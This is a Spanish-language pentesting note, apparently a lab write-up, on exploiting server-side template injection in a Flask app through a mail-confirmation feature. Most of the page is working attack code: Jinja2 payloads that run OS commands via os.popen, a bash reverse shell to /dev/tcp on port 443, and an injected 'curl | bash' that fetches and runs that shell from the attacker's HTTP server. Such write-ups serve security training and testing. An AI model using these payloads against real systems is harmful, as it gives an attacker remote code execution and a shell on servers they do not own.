> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md).
# SSTI y Mail Flask
## SSTI:
Al observar la configuración, notamos que si cambiamos el nombre de la configuración, se envía un correo de confirmación. Esto puede ser una oportunidad para un ataque SSTI.
Probamos con una carga útil como esta:
```bash
{{ 9*9 }}
```
Si el resultado es `81`, la aplicación es vulnerable.
Confirmamos que la aplicación es vulnerable y probamos la inyección de comandos con una carga útil de `payloadallthethings`:
{% embed url="" %}
ID del comando:
```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
Logramos ejecutar una shell inversa escuchando en el puerto 443:
```bash
nc -nlvp 443
```
Creamos un archivo `index.html` con el contenido siguiente para ejecutar una shell inversa
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```
Luego iniciamos un servidor HTTP con Python:
```bash
python3 -m http.server 80
```
Enviamos la carga útil con `curl` para recuperar y ejecutar el comando:
```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}
```
---
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